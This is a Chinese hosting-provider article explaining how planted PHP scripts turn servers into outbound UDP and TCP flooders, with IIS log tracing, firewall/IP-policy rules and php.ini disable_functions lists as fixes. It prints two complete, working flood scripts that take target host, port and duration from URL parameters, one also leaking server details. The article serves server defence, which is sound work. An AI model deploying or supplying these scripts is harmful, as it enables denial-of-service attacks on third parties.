php对外发包引发服务器崩溃的终极解决方法分享[推荐]

一、php对外发包分析
用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

复制代码 代码如下:

$packets = 0;

$ip = $_GET[\’ip\’];

$rand = $_GET[\’port\’];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[\’time\’];

$time = time();

print \”Flooded: $ip on port $rand

\”;

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= \”X\”;

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo \”Packet complete at \”.time(\’h:i:s\’).\” with

$packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”.

round($packets/$exec_time, 2) . \” packets/s \\n\”;

?>

二、表现特征
一打开IIS,服务器的流出带宽就用光—–就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.

近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.

如何快速找到这些站?

你可以打开日志

C:\Windows\System32\LogFiles\HTTPERR\httperr…log,打开今天时间的文件,

里面有类似这样的记录:

2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

最后三项 783 Disabled 30_FreeHost_1

783就是这个站在IIS中的ID

30_FreeHost_1就是所在池

三、解决办法
1.按上述找到这个网站后停止它.或停止池,并重启IIS.

2.在IP策略,或防火墙中,禁止所有udp向外发送

在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包。下载这个包,之后导入安全策略。但这个策略并没有关闭DNS端口,部分攻击还是有效.

为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 “特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8” 保存后就行了 )

在2011-4-27,我们上传了新的安全包,里面有一个”星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec”文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)

3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)

4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

ignore_user_abort = On

(注意前面的;号要删除)

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

在后面加上

fsockopen,set_time_limit

但这样会造成很多php程序都不正常.

另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?

近期已有新的基于TCP攻击的PHPDDOS代码如下:

复制代码 代码如下:

set_time_limit(999999);

$host = $_GET[‘host’];

$port = $_GET[‘port’];

$exec_time = $_GET[‘time’];

$packets = 64;

ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){

if (StrLen($_GET[‘rat’])<>0){

echo $_GET[‘rat’].$_SERVER[“HTTP_HOST”].”|”.GetHostByName($_SERVER[‘SERVER_NAME’]).”|”.

php_uname().”|”.$_SERVER[‘SERVER_SOFTWARE’].$_GET[‘rat’];

exit;

}

exit;

}

$max_time = time()+$exec_time;

while(1){

$packets++;

if(time() > $max_time or $exec_time != 69){

break;

}

$fp = fsockopen(“tcp://$host”, $port, $errno, $errstr, 0);

}

?>

同样,可以采有以下解决办法:

1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

ignore_user_abort = On

(注意前面的;号要删除)

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

在后面加上

fsockopen,set_time_limit

但这样会造成很多php程序都不正常.

2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。

3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它。

以上方法供 vps、服务器托管用户学习!

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/155778.html<

(0)
管理的头像管理
上一篇2025-03-15 14:38
下一篇 2025-03-15 14:40

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注